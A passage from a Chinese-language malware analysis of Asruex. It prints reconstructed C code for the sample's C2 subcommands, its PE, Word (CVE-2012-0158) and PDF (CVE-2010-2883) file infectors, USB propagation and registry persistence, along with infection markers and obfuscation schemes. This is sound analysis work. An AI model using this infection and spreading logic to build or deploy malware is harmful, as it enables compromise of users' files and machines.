CommandResultReporter(Buffer, strlen(Buffer), NULL, pResult);
Sleep(1000);
return 0;
}
/* --- 6. default: 仅落盘, 不执行 ------------------------------------- */
sprintf(Buffer, "%s OK", Filename);
CommandResultReporter(Buffer, strlen(Buffer), NULL, pResult);
return 0;
}
二级命令功能
| 命令代码 | 名称 | 功能 |
|---|---|---|
0x01 |
RUN_SUBCMD_SCRIPT | 内存直接解释脚本 |
0x11 |
RUN_CREATE_PROCESS | 隐藏窗口起进程 |
0x21 |
RUN_CREATE_THREAD | 起线程把落盘文件当 DLL 加载并调用其导出 RunThisCode |
EmbeddedSubcommandRunner 把一段二进制数据解释为“子命令脚本”,逐条对参数做 Windows 环境变量展开后分发到 14 个本机操作处理函数,并把每个子命令的文本结果累积进一条 1036 字节链表缓冲,最后整体封装回传控制端。该函数由一级命令中的default命令函数PayloadDropAndExecute进行触发调用。
int EmbeddedSubcommandRunner(BYTE *records, DWORD recordsLen, ResultCtx *pResult)
{
if (recordsLen != 0)
{
while (1)
{
/* --- 2. 取记录头: [4B 命令号][4B 参数长度] --- */
DWORD argLen = *(DWORD *)(records + off + 4);
if (argLen + off + 8 > recordsLen) /* 越界/截断 */
{
AppendText(ctx, "\r\nCOM size Out!!!!\r\n");
break;
}
DWORD cmd = *(DWORD *)(records + off);
Dst[0] = 0;
/* --- 3. 参数: 拷贝 + 环境变量展开 --- */
if (argLen != 0)
{
_mbsnbcpy(Src, records + off + 8, argLen);
ExpandEnvironmentStringsA(Src, Dst, 260); /* 支持 %TEMP% 等 */
}
/* --- 4. 日志(写入结果缓冲, 不落盘) --- */
AppendText(ctx, "\r\n[COM = %2d (%d)%s]\r\n",
(signed char)cmd, argLen, Dst);
/* --- 5. 分发: 18 路跳转表; 1-12/17/18 有实现, 13-16 落 default --- */
switch ((char)cmd)
{
case 1: SubCmd_ListFiles(ctx); break; /* 文件/目录列举 */
case 2: SubCmd_DeleteFiles(Dst, ctx); break; /* 逐文件读写处理 */
case 3: SubCmd_ExecProcessOrDll(); break; /* .dll 加载执行 */
case 4: SubCmd_RegistryOp(ctx); break; /* 注册表操作 */
case 5: SubCmd_FindFilesBySubstr(ctx); break; /* 查找文件 */
case 6: SubCmd_ListProcesses(); break; /* 进程列表 */
case 7: SubCmd_ListProcesses(cmd); break; /* TCP/UDP 连接表) */
case 8: SubCmd_SetUpInterval(); break; /* 上线间隔设置 */
case 9: SubCmd_CopyFile(); break; /* 文件复制/改名 */
case 10: SubCmd_MoveFile(Dst); break; /* 文件移动/替换 */
case 11: SubCmd_KillProcess(Dst, ctx); break; /* 结束进程 */
case 12: SubCmd_Version(); break; /* 版本号读取/重置 */
case 17:
SubCmd_ExfilFile(Dst, pResult); /* 文件外传: */
return 0;
case 18:
SubCmd_ScreenCapture(pResult); /* 截屏: */
return 0;
default: /* 13-16 及未定义号 */
AppendText(ctx, "INVALID .. \r\n");
goto flatten; /* fail-stop: 终止脚本 */
}
off += argLen + 8; /* 前进到下一条记录 */
if (off >= recordsLen)
break;
}
}
flatten:
/* --- 6. 汇总: 统计链表所有节点的文本长度 --- */
DWORD total = 0;
for (ResultNode *n = ctx; n != NULL; n = n->next)
total += n->end - n->begin;
BYTE *flat = malloc(total);
if (flat == NULL)
return -1;
FlattenAndFree(&ctx, flat); /* sub_1001BFE0: 展平并释放节点 */
CommandResultReporter(flat, total, NULL, pResult); /* 整体封装回传(0x1001E120) */
free(flat);
return 0;
}
三级指令列表
| 命令代码 | 名称 | 功能 |
|---|---|---|
| 1 | LIST_FILES | 枚举文件 |
| 2 | DELETE_FILES | 删除文件 |
| 3 | EXECUTE | .dll 加载执行 |
| 4 | REGISTRY | 注册表操作 |
| 5 | FIND_FILES | 枚举目录 |
| 6 | LIST_PROCESSES | 枚举进程列表 |
| 7 | LIST_CONNECTIONS | 枚举本地连接 |
| 8 | SET_UP_INTERVAL | 设置心跳包 |
| 9 | COPY_FILE | 复制文件 |
| 10 | MOVE_FILE | 移动文件 |
| 11 | KILL_PROCESS | 结束进程 |
| 12 | VERSION | 版本号获取 |
| 17 | EXFIL_FILE | 打包文件 |
| 18 | SCREENSHOT | 截屏 |
文件感染流程
PEResourceInfector 是样本的 PE 文件感染模块,负责递归搜索目标磁盘中的可执行文件,并依据 IMAGE_DOS_SIGNATURE/IMAGE_NT_SIGNATURE、文件大小、资源节等条件筛选目标,同时跳过已经带有 .EBSS 等感染标记的文件。感染过程中,模块在保留原有资源信息的基础上向目标 PE 添加恶意载荷,并在完成时间戳、文件属性恢复后通过临时文件覆盖原文件,从而使感染后的文件尽可能保持原有外观特征。
int PEResourceInfector(StateObj *state)
{
int infected = 0;
const char *scope = (const char *)(state + 0x154C); // 限定路径(空=全盘)
int all = (!scope || !*scope) ? 1 : 0;
List *exeList = DriveExeFileEnumerator(all);
if (!exeList) return 0;
for (Node *n = exeList->head; n != exeList->tail; n = n->next)
{
const char *exePath = (const char *)n->data[2];
if (PESkipSelfCheck(exePath)) continue; // 已带.EBSS标记
if (!PE_ResourceSectionValidator(exePath)) continue; // 合格受害者体检
if (exePath && *exePath && DllSideLoad_ResourceInjector(exePath))
infected++;
}
return infected;
猎物筛选
递归枚举可移动/目标盘上所有 .exe;只感染“小”的(≤10MB)、带 .rsrc 资源段 的 PE 文件。这类程序通常是 GUI/插件类 EXE,被改动后仍能被系统正常加载。
去尾还原(干净载体前置)
StripLegacyOverlay:若目标带历史附加标记(NT+152/156≠0),
清零标记并仅回写“净长”前缀 → 剥掉上次残留载荷,保证每次从干净 PE 出发、不层层叠叠;PESkipSelfCheck(配合FindSectionHeaderByName+ .EBSS 结构判定)双保险:
文件已带.EBSS标记即跳过 → 防重复感染/防自感染。
构造感染文件(TEMP 原子化)
SetInfectionPayloadPath运行时确定载荷源(全局 ExistingFileName=样本自拷贝组件);- 载荷 →
CopyFileA到%TEMP%临时基体; FindSectionHeaderByName / ReadRawSectionData / ReadPeFileRegion读取目标 PE 的
节表/.rsrc原始区/尾区等数据源;AssembleCompressedPayload拼装头+数据并经ZlibDeflateCompress(level 9) 压缩,产出待附载荷块;AppendNewPeSection:在节表末尾追加 40B 新节表项(新节名取自配置、
Characteristics=0x40000040可写初始化数据、按 SectionAlignment 对齐),
载荷写入文件尾部并修补NumberOfSections/SizeOfImage/SizeOfHeaders/NT+152/+156;AppendPayloadOverlay→OverlayAppendAndPatchPe:
读原文件 → 补丁 NT+152/156(净长/载荷长)→ “原内容 + 载荷”全量重写(追加变体)。
资源装扮(受害者“脸面”保留)
DllResourceExtractor以LoadLibraryExA(AS_DATAFILE)加载受害者;EnumResourceTypesA仅收 RT_ICON(3)/RT_GROUP_ICON(14)/RT_VERSION(16)/RT_MANIFEST(24)EnumResourceLanguagesA_w逐资源、逐语言下钻
CopyResourceIntoOutput:FindResourceA/LoadResource/LockResource 取出
受害者资源原始数据,BeginUpdateResourceA(首轮删同名旧资源) +UpdateResourceA+
EndUpdateResourceA写入感染文件 → 感染 EXE 显示原图标/版本/清单。
痕迹清除 + 原子替换
GetFileTime/SetFileTime + SetFileAttributesA把感染副本的时间戳/属性复原为受害者原值;CopyFileA(tmp→victim)原子替换 +DeleteFileA(tmp)清理临时文件
激活
- 被感染 EXE 携带:
.EBSS内嵌标记 + 压缩载荷新段/尾段 + NT+152/156 尺寸字段,供样本后续FindSectionHeaderByName/.EBSS逻辑识别并侧加载/解压执行。
// 感染执行器(0x100138D0 关键流程)
BOOL DllSideLoad_ResourceInjector(const char *victim)
{
char tmp[MAX_PATH];
XorDecrypt_Config(g_ebss); // ".EBSS"
if (!ExistingFileName || !*ExistingFileName) return FALSE;
if (!victim || !*victim) return FALSE;
GetTempPathA(…); GetTempFileNameA(…, tmp); // 临时基体
CopyFileA(ExistingFileName, tmp, FALSE); // 载荷→tmp
DWORD attrs; void *blob;
sub_10013380(&attrs, tmp, victim, &blob); // 组装+编码载荷blob
sub_10012F70(g_newSecName, blob, attrs); // 追加新节(节表+PE域修补+回写)
DllResourceExtractor(victim); // 合并图标/版本/清单(0x10014330)
sub_100132E0();
// 复原属性与时间戳后原子替换
DWORD fa = GetFileAttributesA(victim);
HANDLE h1 = CreateFileA(victim, GENERIC_READ, …); GetFileTime(h1,&ct,&at,&wt);
SetFileAttributesA(tmp, fa);
HANDLE h2 = CreateFileA(tmp, GENERIC_READ|GENERIC_WRITE, …);
SetFileTime(h2, &ct, &at, &wt); CloseHandle(h1); CloseHandle(h2);
BOOL ok = CopyFileA(tmp, victim, FALSE); // 覆盖受害者
DeleteFileA(tmp); // 清临时
return ok;
}
文档感染流程
DocFileInfectorModule 是样本实现 Word 文档感染的核心模块,负责枚举 .doc/.docx 文件,并通过文件魔数、大小及感染尾标 0xDCC0E1C5 判断目标文档是否符合感染条件及是否已被感染。对于符合条件的文档,模块将原始文档与携带 CVE-2012-0158 漏洞利用代码的恶意模板重新组合,并按照“漏洞模板 + 12 字节元数据 + XOR 编码的 rundll32.exe/恶意载荷/原始文档数据 + 4 字节感染尾标”的结构重写目标文件,同时将部分 .docx 文件修改为 .doc 格式。
感染完成后,受害 Word 文档中会携带用于利用 CVE-2012-0158 的恶意模板及后续恶意载荷。当目标系统中的 Office 环境满足该漏洞的利用条件时,用户打开感染文档即可触发漏洞利用,并进一步加载执行内嵌恶意载荷,从而实现恶意代码执行。
int DocFileInfectorModule(int a1, StateObj *state)
{
int infected = 0;
int all = (state == (StateObj*)-5452 || !*(char*)((char*)state+5452)) ? 1 : 0;
List *docs = DocFileListSearcher(all);
if (!docs) return 0;
for (Node *n = docs->head; n != docs->tail; n = n->next)
{
const char *doc = (const char *)n->data[2];
if (InfectionMarkerCheck_EndOfFile(doc)) continue; // 已感染跳过
if (!InfectTargetValidator(doc)) continue; // .doc/.docx+魔数+大小
if (InjectionPayloadEngine(doc)) infected++;
}
return infected;
}
DOC文档感染手法
- 猎物筛选:递归枚举目标盘
.doc/.docx;要求大小 100 KB–10 MB、文件头命中D0 CF 11 E0 A1 B1 1A(OLE / DOC 旧格式)或50 4B 03 04(ZIP / DOCX 新格式)且与扩展名自洽(OLE 头配 .doc 系、ZIP 头配 .docx),并且未带尾标C5 E1 C0 DC—— 即只挑“真实存在的 Word 文档、且尚未被本样本感染” - 模板与载荷来源:
CVE-2012-0158漏洞模板以zlib压缩 + MSVCsrand(长度)/MARKDOWN_HASHe3b1333ed9c54d3dce3e25c8db6c4a36MARKDOWNHASH逐字节 XOR 内嵌于样本数据区(Source,9937 B 密文 → 32776 B 明文);而可执行载荷并不内嵌,其路径由运行期SetInfectionPayloadPath写入全局Destination_0,再由FileReadToBuffer现场从磁盘读入 - 覆盖式重写:目标文档被
CREATE_ALWAYS截断后写为 4 段复合文件:- 段1(32776 B):
ZlibInflateUncompress还原出的CVE-2012-0158漏洞模板(OLE 复合文档); - 段2(12 B 元数据):
{rundll32.exe 长度+1, 载荷文件长度, 受害原文长度} = {17, payloadSize, victimSize}—— 供后续解码器定位各段; - 段3(编码块):
"rundll32.exe\0" + 载荷文件 + 受害原文,先 4096 次字节对交换(仅覆盖前 8192 B)再 XOR 递增混淆(^= (k+1) & 0xFF,全段); - 段4(4 B 尾标):
0xDCC0E1C5(落盘字节C5 E1 C0 DC),作为“已感染”标志被InfectionMarkerCheck_EndOfFile消费。
- 段1(32776 B):
- 伪装与激活:
.docx被改名为.doc,当目标环境满足CVE-2012-0158的利用条件时,用户打开感染文档即可触发漏洞利用链,并进一步加载恶意载荷。根据loader中的shellcode确定释放恶意载荷和原始文档到%TEMP%目录下,使用rundll32.exe启动恶意载荷。 - 防止重复感染:尾标
C5 E1 C0 DC(读文件末尾 4 B)+ 扩展名改名,保证已感染者不再被重复感染。
BOOL InjectionPayloadEngine(const char *victimDoc)
{
// 1) 嵌入载荷解混淆+解压 → payload32776
BYTE tmp[0x26D1]; memcpy(tmp, &g_embeddedBlob /*0x10080438*/, 0x26D1);
srand(0x26D1); for(i=0;i<0x26D1;i++) tmp[i]^=rand();
DWORD outLen = 0x8008; BYTE *payload32776 = new BYTE[0x8008];
ZlibInflateUncompress(payload32776, &outLen, tmp, 0x26D1); // 9937→32776
// 2) 读两份内容
FileReadToBuffer(victimDoc, &victim, &pSize); // 受害原文
FileReadToBuffer(g_payloadDocPath /*0x10094778*/, &mal, &Size); // 载荷文档
// 3) 组装混淆块: "rundll32.exe\0" + mal + victim
char run[264]; XorDecrypt_Config(run); // → "rundll32.exe"
size_t n = strlen(run)+1;
BYTE *blob = malloc(pSize + n + Size);
memcpy(blob, run, n);
memcpy(blob+n, mal, Size);
memcpy(blob+n+Size, victim, pSize);
for(j=0;j<4096;j++) swap(blob+2*j, blob+2*j+1); // 字节对交换
for(k=0;k<total;k++) blob[k] ^= (k+1); // XOR 递增混淆
// 4) 分段重写目标
FileWaitRetry(15);
HANDLE h = CreateFileA(victimDoc, GENERIC_READ|GENERIC_WRITE, 7,
NULL, CREATE_ALWAYS, 0, NULL);
DWORD meta[3] = { n, Size, pSize }; // 12B 元数据
int marker = -591339067; // 0xDCC0E1C5
WriteSeg(h, 0, payload32776, outLen); // 头部: 解压模板
WriteSeg(h, APPEND, meta, 12); // 元数据
WriteSeg(h, APPEND, blob, total); // 混淆块
WriteSeg(h, APPEND, &marker, 4); // 尾标 C5E1C0DC
CloseHandle(h);
// 5) ".docx"(5字符) → ".doc"
if (strlen(strrchr(victimDoc, '.')) == 5) {
char newName[1024]; strncpy(newName, victimDoc, strlen(victimDoc)-1);
rename(victimDoc, newName);
}
return TRUE;
}
PDF感染流程
PDFInfectFromList 是样本实现 PDF 文档感染的核心模块,负责递归枚举 .pdf 文件,并通过感染尾标 ARB77E8.JPEG 及内部状态标志判断目标文件是否已经感染,从而避免重复处理。在确认文件满足扩展名、大小等感染条件后,模块解码内置的两段 CVE-2010-2883 漏洞利用模板,并以漏洞模板、原始 PDF 数据及感染标记重新构造目标文件,最终覆盖写回原始 PDF,完成文档感染。
感染后的 PDF 文件携带用于利用 CVE-2010-2883 的恶意漏洞模板及后续恶意代码。当目标系统中的 PDF 阅读器版本及运行环境满足该漏洞的利用条件时,用户打开感染 PDF 即可触发漏洞利用,并进一步加载执行恶意载荷,从而实现恶意代码执行。
// PDFInfectFromList — .pdf 文档感染器
int PDFInfectFromList(int a1, StateObj *state)
{
// STEP0: 防重标志(已执行过本模式/类别则退出)
if ((*(BYTE*)(state+2372) & 2) == 2) return 0;
DWORD f = *(DWORD*)(state+2372);
if (f & 0x100) return 0;
if (f & 0x10) return 0;
if (f & 0x200) return 0;
List *pdfs = PDFSearchAndBuildList(emptyPath?1:0);
if (!pdfs) return 0;
int infected = 0;
for (node : pdfs)
{
const char *p = node->data[2];
if (PDF_AlreadyInfectedCheck(p) != 0) continue; // 尾12B ARB77E8.JPEG
if (!IsPDFFile(p)) continue; // .pdf 且 ≤10MB
if (PDFPayloadEngine_Dual(p)) infected++;
}
return infected;
}
PDF文档感染手法
- 猎物筛选:递归枚举目标盘
*.pdf;要求大小 ≤ 10 MB、扩展名 .pdf(不校验文件头魔数),并且未带尾标 —— 判定方式为:文件 > 42224 B 且固定偏移 820 处的 12 字节 ≠ARB77E8.JPEG。即只挑“尚未被本样本感染”的 PDF - 模板与载荷来源:两段
CVE-2010-2883漏洞模板同样以zlib+srand(长度)/rand()逐字节 XOR 内嵌于数据区(unk_1007A508,538 B 密文 → 808 B 明文;unk_1007A730,23798 B 密文 → 41416 B 明文);可执行载荷不内嵌,与 DOC 分支共用同一份外部文件,路径在全局Destination_1 - 覆盖式重写:目标 PDF 被 CREATE_ALWAYS 截断后写为 9 段复合文件:
- 段1(808 B):载荷 A(模板前段:PDF 头 + 对象 1–8);
- 段2(4 B):DWORD 常量
12 00 00 00(18); - 段3(4 B):载荷文件长度 payloadSize(小端);
- 段4(4 B):受害 PDF 长度 victimSize(小端);
- 段5(12 B):
ARB77E8.JPEG—— 感染尾标,落在固定偏移 820; - 段6(6 B):
00 64 67 00 64 67("dg" 头串); - 段7(payloadSize):载荷文件内容,原样明文(不做任何混淆);
- 段8(victimSize):受害 PDF 原文,就地 XOR 递增混淆(从后往前
*p ^= (BYTE)ecx,字节 j 的密钥 =(j+1) & 0xFF;无字节对交换); - 段9(41416 B):载荷 B(模板后段:字体对象 +
JavaScript+xref/trailer/% %EOF)
- 伪装与激活:不改扩展名,在目标 PDF 阅读器满足相应漏洞利用条件时,打开感染 PDF 可触发漏洞利用链,并进一步释放和执行恶意载荷。根据漏洞模板中的shellcode确定释放恶意载荷和原始文档到
%TEMP%目录下,使用CMD.exe启动恶意载荷和原始文档 - 防止重复感染:偏移 820 处的
ARB77E8.JPEG标记 + 体积闸门 > 42224(= 808 + 41416,即“文件至少能装下两段模板”),保证已感染者不再被重复感染
// PDFPayloadEngine_Dual — 单 PDF 覆盖重建
BOOL PDFPayloadEngine_Dual(const char *targetPdf)
{
// 解码内嵌双载荷
BYTE a[0x21A]; memcpy(a, &g_blobA /*0x1007A508*/, 0x21A); srand(0x21A);
for(i=0;i<0x21A;i++) a[i]^=rand();
BYTE payA[0x328]; DWORD nA=808; ZlibInflateUncompress(payA,&nA,a,0x21A);
BYTE b[0x5CF6]; memcpy(b, &g_blobB /*0x1007A730*/, 0x5CF6); srand(0x5CF6);
for(j=0;j<0x5CF6;j++) b[j]^=rand();
BYTE payB[0xA1C8]; DWORD nB=41416; ZlibInflateUncompress(payB,&nB,b,0x5CF6);
char hdr[7] = "dg\0dg\0"; // 头串 'dg'
FileWaitRetry(15);
HANDLE h = CreateFileA(targetPdf, GENERIC_READ|GENERIC_WRITE, 7,
NULL, CREATE_ALWAYS, 0, NULL); // 截断重建
// 9 段写: 头 + payA + payB + 其他缓冲; 首段 move=0 后全部追加已感染尾标 "ARB77E8.JPEG"
WriteSeg(h, BEGIN, hdr, sizeof(hdr));
WriteSeg(h, APPEND, payA, nA);
WriteSeg(h, APPEND, payB, nB);
CloseHandle(h);
return TRUE;
}
USB常驻文件监控器
USBFileMonitorThread 是一个“USB 常驻文件监控器”:用 ReadDirectoryChangesW 异步监听可移动卷根目录的 新增/修改/删除 事件,对命中自身目录外、非目录、通过白名单+未感染判定的文件先等待其就绪并登记进归档、再经两内部目录间带标记转移,随后对"新增"文件调用 MainInfectionDispatcher 就地执行 PE/DOC/PDF 三模式感染,并对删除事件做自产/临时名甄别与队列维护。
void USBFileMonitorThread(void*)
{
char root[264]; sprintf(root, "%c:\\", g_driveLetter );
HANDLE hDir = CreateFileA(root, GENERIC_READ, 7, 0, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, 0);
if (hDir == INVALID_HANDLE_VALUE) goto out;
if (!RegisterUSBDeviceNotification()) goto out; // 卷句柄级通知
BYTE *buf = new BYTE[0x100000];
HANDLE ev = CreateEventA(0,0,0,0);
OVERLAPPED ov = {0}; ov.hEvent = ev;
while (1)
{
while (ReadDirectoryChangesW(hDir, buf, 0x100000, TRUE,
0x1B /*ADD|REM|MOD|REN_*/, 0, &ov, 0))
{
if (WaitForSingleObject(ev, 1000) != 0) continue;
DWORD got; GetOverlappedResult(hDir,&ov,&got,FALSE);
if (!got) continue;
for (FILE_NOTIFY_INFORMATION *ni = (void*)buf; ; )
{
// 转相对名为宽→窄
WideCharToMultiByte(0,0,(WCHAR*)(ni+6), ni->FileNameLength/2,
rel, 261,0,0);
char full[264]; sprintf(full, "%s%s", root, rel); // 全路径
char sub[268]; sprintf(sub, "%c:\\%s", g_driveLetter, exclSubDir/*v22*/);
BOOL inOurs = (full == strstr(full, sub)); // 前缀过滤
int act = ni->Action;
if (act==FILE_ACTION_ADDED && !inOurs && !IsDirectoryPath(full))
{
WaitFileReadyWithRetry(full, 30); // 等就绪
if (IsWhitelistedAndNotInfected(&g_state)) // 白名单∩未感染
{
char *name=0;
if (FileReadEncryptWrapper(&name) && !g_flag/*0x10095438*/)
FileTransferBetweenDirs(name); // 1306→262 转移
delete name;
}
MainInfectionDispatcher(); // ★PE/Doc/PDF 感染★
}
else if (act==FILE_ACTION_MODIFIED && !inOurs
&& !IsDirectoryPath(full)
&& IsWhitelistedAndNotInfected(&g_state))
{
WaitFileReadyWithRetry(full,30);
char *name=0;
if (FileReadEncryptWrapper(&name) && !g_flag)
FileTransferBetweenDirs(name); // 登记+转移
delete name;
}
else if (act==FILE_ACTION_REMOVED && inOurs
&& strrchr(full,'\\')
&& !IsOwn17HexName(full)
&& !Is16HexName(full))
{
Sleep(5000);
EnterCriticalSection(&cs);
ListContainerPushBack(); ListContainerPopFront(); // 队列维护
LeaveCriticalSection(&cs);
}
if (!ni->NextEntryOffset) break;
ni = (void*)((char*)ni + ni->NextEntryOffset);
}
}
// 读取失败 → 恢复
DWORD err = GetLastError(); Sleep(5000);
if (!g_driveLetter) break; // 盘符已清=拔出
if (!IsDriveRemovable()) break;
if (err!=21 && err!=6) break; // 非"介质变更/无效句柄"放弃
for (int k=0; ; k++){ hDir=ReOpenDir(); if(ok)break; Sleep(1000); if(k>=120)goto out; }
// 重开后重建事件(锁内队列维护)
}
out:
UnregisterDeviceNotification(notify); CloseHandle(hDir); CloseHandle(ev); delete buf;
ExitThread(0xFFFFFFFF);
}
可移动磁盘传播执行体
USBPropagationThread 是可移动磁盘传播执行体:在“持久化(定时器)模式”下、且 C2 配置允许 USB 传播时,先探测可移动盘符,随后在临界区内对盘上文件做三轮动作:
- 按配置扩展名白名单递归枚举并分类文件;
- 把白名单中未感染的文件伪装成随机后缀打包收集到本地(可 zlib 压缩、276B XOR 索引去重、删除暂存痕迹);
- 依 C2 功能位分别对盘上的
.exe做 PE 资源/侧加载感染、对.doc/.docx做文档载荷感染、对.pdf做 PDF 感染(均先跳过已带感染标记的文件)。 - 结束后拉起 USB IOCP 变化监控线程并退出,为后续插入新盘再传播建立监测基础。
DWORD WINAPI USBPropagationThread(LPVOID lpParam)
{
if (g_persist == 0) // 仅持久(定时器)模式执行本扫描
return -1;
if (g_drive.letter == 0) { // 探测并缓存盘符
g_drive.letter = DecryptDriveLetter(); // Z:~D: 逆序: GetDriveTypeA()==4 且 GetVolumeInformationA()
byte_100971CD = g_drive.letter;
if (g_drive.letter == 0)
ExitThread(0xFFFFFFFF);
}
EnterCriticalSection(&cs);
if (g_fullscanQuota > 0) { // 配额式全量扫描
g_fullscanQuota--;
FileSearchOrchestrator("*.*");
}
FileSearchOrchestrator((char*)MultiByteStr); //按白名单清表重枚举
ListIterate_CopyWithSuffix(&g_param); // 白名单未感染文件 → 随机后缀收集
// ---- 三种感染引擎(各自惰性按类重枚举盘文件) ----
if (g_feat.PE && !(g_flags & 0x1) && !(g_flags & 0x200))
DLLSideLoadInfectFromList(&g_param); // 0x100020F5 .exe/.dll
if (g_feat.doc && !(g_flags & 0x10) && !(g_flags & 0x2000) && !(g_flags & 0x4)
&& !(g_flags & 0x1000) && !(g_flags & 0x40))
InjectionPayloadEngine_RunOnList(&g_param); // 0x10002139 .doc/.docx
if (g_feat.pdf && !(g_flags & 0x8) && !(g_flags & 0x2) && !(g_flags & 0x100)
&& !(g_flags & 0x10) && !(g_flags & 0x200))
PDFInfectFromList_Secondary(&g_param); // 0x1000217D .pdf
LeaveCriticalSection(&cs); // 0x10002187
CreateThread(NULL, 0, StartAddress /*0x10001FB0*/, NULL, 0, NULL); // USB IOCP 监控
ExitThread(0xFFFFFFFF);
}
持久化
Installer_CopyToAppDataInstaller 是一个“伪装 Windows Installer 的自安装器”:把运行中的样本(或其副本)复制到 %appdata%\Microsoft\Installer\{GUID C018D68A-4554-4DD3-A844-CD3B8E04CD0A}\_6F7D185CA4F8.exe(逐级建目录、若已就位于同路径则跳过复制),并把该安装路径写回状态对象供后续持久化注册使用——MalwareMainDispatch 中“持久化激活”即以此复制成功为前置条件。
// Installer_CopyToAppDataInstaller — 伪装 MSI Installer 的自安装器 (0x100044F0)
BOOL Installer_CopyToAppDataInstaller(const char *selfShortPath, StateObj *state)
{
char longPath[264], dst[264], tmp[264];
if (!selfShortPath || !*selfShortPath) return FALSE;
if (!GetLongPathNameA(selfShortPath, longPath, 0x105)) return FALSE;
SetFileAttributesA(longPath, FILE_ATTRIBUTE_NORMAL);
// %appdata%\Microsoft
if (!ExpandEnvironmentStringsA("%appdata%\\Microsoft", dst, 0x105)) return FALSE;
if (!CreateDirIfMissing(dst)) return FALSE; // 0x10008940
// + \Installer
strcat_s(dst, 0x105, "\\Installer");
if (!CreateDirIfMissing(dst)) return FALSE;
// + \{C018D68A-4554-4DD3-A844-CD3B8E04CD0A}
sprintf(tmp, "%s\\%s", dst, "{C018D68A-4554-4DD3-A844-CD3B8E04CD0A}"); // v11
if (!CreateDirIfMissing(tmp)) return FALSE;
// + \_6F7D185CA4F8.exe → 最终安装路径
sprintf(dst, "%s\\%s", tmp, "_6F7D185CA4F8.exe"); // v13
if (_stricmp(longPath, dst) != 0) // 非同一位置才复制
{
SetFileAttributesA(dst, FILE_ATTRIBUTE_NORMAL);
if (!CopyFileA(longPath, dst, FALSE)) return FALSE; // 自身复制
}
CopyPathToStateObject(dst, state); // 0x10005DE0
// strcpy_s(state+566, dst) ← 状态"安装路径"字段
return TRUE;
}
ConfigSavePersistence 是木马一次性自启动安装器:以_6F7D185CA4F8.exe 的自副本路径为输入,按 C2 策略在两条持久化路线间选择:
- 启动文件夹快捷方式(
CSIDL_STARTUP下创建指向自身副本、伪装ctfmon的快捷方式文件,已存在则跳过); - 注册表 Run 键:优先写
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\winssmngr;写入失败则回退到HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run。
BOOL ConfigSavePersistence(void *Parameter)
{
CHAR szShortPath[264] = {0}, ValueName[264] = {0}, SubKey[264] = {0};
CHAR Str[264] = {0}, Source[264] = {0};
const char *installPath = (const char *)Parameter + 0x236;
if (installPath == NULL || installPath[0] == '\0')
return FALSE;
XorDecrypt(SubKey, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run");
XorDecrypt(ValueName, "winssmngr");
if (strchr(installPath, ' ')) {
sprintf_s(szShortPath, 0x105, "\"%s\"", installPath);
if (GetShortPathNameA(installPath, szShortPath, 0x105) == 0)
return FALSE;
} else {
sprintf_s(szShortPath, 0x105, "%s", installPath);
}
// ---- 路线A: 启动文件夹快捷方式(CSIDL_STARTUP + .lnk) ----
if ((*(DWORD*)((BYTE*)Parameter + 0x944) & 0x1100) != 0) {
StartupShortcutCreator(szShortPath); // 目标=自副本, 描述 "ctfmon"
return TRUE;
}
// ---- 路线B: 注册表 Run 键(主: Policies\Explorer\Run) ----
if (RegWriteBinaryValue(SubKey, ValueName, szShortPath, strlen(szShortPath)+1))
return TRUE;
// ---- Winlogon "run" 值 ----
XorDecrypt(SubKey, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows");
XorDecrypt(ValueName, "run");
cbData = 0x105;
if (RegReadBinaryValue(SubKey, ValueName, Str, &cbData)) {
if (strstr(Str, szShortPath) != NULL)
return TRUE;
sprintf_s(Source, 0x105, "%s,%s", Str, szShortPath);
strcpy_s(szShortPath, 0x105, Source);
}
return RegWriteBinaryValue(SubKey, ValueName, szShortPath, strlen(szShortPath)+1);
}
感染与采集产物的清点、登记、归档与清理
InfectionArtifactLifecycleManager 由载荷线程/定时器持久化回调/主分发周期性触发,是样本对自身感染与采集产物的清点-登记-同步-归档-清理总调度——维护模式下把多组镜像目录中的已感染文件同步去重并补打家族标签、按登记表(P+0x26C8)清理未登记的孤儿文件、排空采集暂存(处理即删并写 64/65 型记录),可被 C2 标志(0x100)整体停用转入清理收尾模式。
int InfectionArtifactLifecycleManager(int P)
{
if (*(DWORD*)(P + 0x938) != 0) // ===== 维护模式 =====
{
// 1) 复制已感染文件并补打家族标签
FileSyncReplicator(A, /*mode*/1);
FileCleanupDeleter(A); // 2) 删除 dirA 中满足旧标签过滤的已感染文件
InfectedFileDirProcessor(P); // 3) 处理 dir@0x545 队列: 逐条登记(+0x26C8)/写64型记录/删除;
DirEnum_ValidateAndClean_StateDir(P); // 4) 校验 dir@0x827: 无登记记录即删
s = Str(dir@0x827); // 5) 把该目录登记进 Registry
DirPathListRegister(Registry, s);
FileCleanupByToggle(A, /*on*/1); // 6) dir@523↔dir@1045 双向同步+去重
DirEnum_ValidateAndClean(dir@P+0x1951, P); // 7) 校验孤儿
sub_1000C080(A); // 8) dir@+1 → dir@+784 规整
DirEnum_ValidateAndClean(dir@P+0x440, P); // 9) 校验孤儿
ConfigString_ParseAndProcess(P); // 10) 解析 ';' 配置串(SID格式校验) → 登记 Registry
sub_1000C3C0(A); // 11) 反向收编/删除
// 12/13) 排空采集暂存(每处理一条写记录并删除)
bool more1 = DrainCollectStaging(B);
bool more2 = DrainInfectStaging(B);
if (more1 || more2) // 14) 有新处理 → 补跑一轮队列
InfectedFileDirProcessor(P);
return 1;
}
else // ===== 停用/清理模式 =====
{
FileCleanupByToggle(A, /*on*/0); // a) 镜像同步
sub_1000C080(A); // b) 规整
DrainCollectStaging(B); // c) 排空
DrainInfectStaging(B); // d) 排空
sub_1000C3C0(A); // e) 收编
sub_1000BDF0(A); // f) 归档
FileSyncReplicator(A, /*mode*/0); // g) 末轮同步
return 1;
}
}
总结
本次分析发现,Asruex 并非单纯依赖恶意程序本身完成攻击,而是将恶意程序投递、后门驻留、文件感染、可移动介质传播和远程控制等能力串联起来,使一次初始感染能够进一步转化为持续的文件感染和跨终端传播。样本进入终端后,会建立自身运行环境并维持持久化,随后将 PE、Word 和 PDF 文件作为新的传播载体,同时利用 USB 介质扩大感染范围,最终形成“进入终端—驻留—感染—传播—控制”的完整攻击链。
